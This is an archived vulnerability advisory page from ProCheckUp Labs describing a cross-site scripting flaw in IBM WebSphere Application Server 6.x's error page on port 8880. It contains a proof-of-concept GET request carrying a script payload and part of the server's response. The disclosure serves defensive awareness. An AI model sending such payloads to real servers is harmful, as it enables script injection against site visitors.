New Banner 3


Find out more about ProCheckUp's services including: Penetration Testing, PCI QSA and PCI ASV


PR05-04 - Cross Site Scripting Vulnerability In IBM Websphere

ProCheckUp Labs

ProCheckUp Labs are dedicated to conducting research and raising the awareness of information security issues. The combination of ProCheckNet's response-driven AI technology and our experienced security consultants has led to the discovery of many security vulnerabilities and advisories during penetration testing assignments.

In 2008 ProCheckUp published more vulnerabilities than any other UK penetration testing company.

Over the years, ProCheckUp have been credited with finding vulnerabilities and advisories in products from vendors such as:  

Microsoft - Aruba Networks - IBM - Novell - BEA Systems - Whale Communications - Netscape - Hummingbird - Apache- F5 Networks - GoAhead - Sun Microsystems

Advisories (Vulnerabilities) & Papers

Vulnerability found:
27 February 2005
Severity level:
Nuri Fattah of ProCheckUp Ltd.
WebSphere Application Server is vulnerable to a Cross Site Scripting attack through the Internal Server Error page used on port 8880 of the default WebSphere installation. This may allow the execution of malicious script code in the browser of an individual who clicks on a link to a site using the vulnerable version of WebSphere.

GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1


Connection: close
HTTP/1.1 500 Internal Server Error

Server: WebSphere Application Server/6.0

Content-Type: text/xml; charset=utf-8

Content-Length: 3013

Connection: close
<?xml version='1.0' encoding='UTF-8'?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:xsi="" xmlns:xsd="">

<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="" ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">



[output omitted]




our original advisory contained a typo in the SOAP tag name ('faultfactor' as opossed to 'faultactor'). i.e., "actor" not "factor".

CVE reference





This has been tested on WebSphere Application Server version 6.x. Other versions may be vulnerable but this has not been verified.
Copyright 2006 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.

Back to Vulnerabilities List